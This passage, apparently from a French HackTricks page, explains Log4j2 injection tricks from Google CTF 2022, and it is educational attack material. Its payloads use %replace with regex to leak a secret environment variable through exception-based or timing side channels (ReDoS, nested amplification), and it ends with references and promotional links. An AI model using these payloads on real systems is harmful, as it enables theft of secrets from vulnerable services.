||
Cela n'était pas utile pour exfiltrer des données à l'intérieur du message d'erreur, car la recherche n'était pas résolue avant le modèle de conversion, mais cela pourrait être utile pour d'autres choses telles que la détection.
|
||
|
||
### Modèles de Conversion Regex
|
||
|
||
Cependant, il est possible d'utiliser certains **modèles de conversion qui prennent en charge les regex** pour exfiltrer des informations à partir d'une recherche en utilisant des regex et en abusant des comportements de **recherche binaire** ou **basés sur le temps**.
|
||
|
||
* **Recherche binaire via les messages d'exception**
|
||
|
||
Le modèle de conversion **`%replace`** peut être utilisé pour **remplacer** du **contenu** dans une **chaîne** même en utilisant des **regex**. Cela fonctionne comme ceci: `replace{pattern}{regex}{substitution}`\
|
||
En abusant de ce comportement, vous pourriez déclencher une exception si le regex correspondait à quelque chose à l'intérieur de la chaîne (et aucune exception si ce n'était pas trouvé) comme ceci:
|
||
```bash
|
||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||
```
|
||
* **Basé sur le temps**
|
||
|
||
Comme mentionné dans la section précédente, **`%replace`** prend en charge les **expressions régulières**. Il est donc possible d'utiliser une charge utile de la [page ReDoS](../regular-expression-denial-of-service-redos.md) pour provoquer un **dépassement de délai** en cas de découverte du drapeau.\
|
||
Par exemple, une charge utile comme `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` déclencherait un **dépassement de délai** dans ce CTF.
|
||
|
||
Dans ce [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), au lieu d'utiliser une attaque ReDoS, une attaque d'**amplification** a été utilisée pour provoquer une différence de temps dans la réponse :
|
||
|
||
> ```
|
||
> /%replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{
|
||
> %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> }{#}{######################################################}
|
||
> ```
|
||
>
|
||
> Si le drapeau commence par `flagGuess`, l'ensemble du drapeau est remplacé par 29 `#` (j'ai utilisé ce caractère car il ne fait probablement pas partie du drapeau). **Chacun des 29 `#` résultants est ensuite remplacé par 54 `#`**. Ce processus est répété **6 fois**, ce qui donne un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#` !**
|
||
>
|
||
> Remplacer autant de `#` déclenchera le délai de 10 secondes de l'application Flask, ce qui entraînera l'envoi du code d'état HTTP 500 à l'utilisateur. (Si le drapeau ne commence pas par `flagGuess`, nous recevrons un code d'état non-500)
|
||
|
||
## Références
|
||
|
||
* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
|
||
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
|
||
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
|
||
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
|
||
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
|
||
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
|
||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||
|
||
**Try Hard Security Group**
|
||
|
||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||
|
||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Autres façons de soutenir HackTricks :
|
||
|
||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|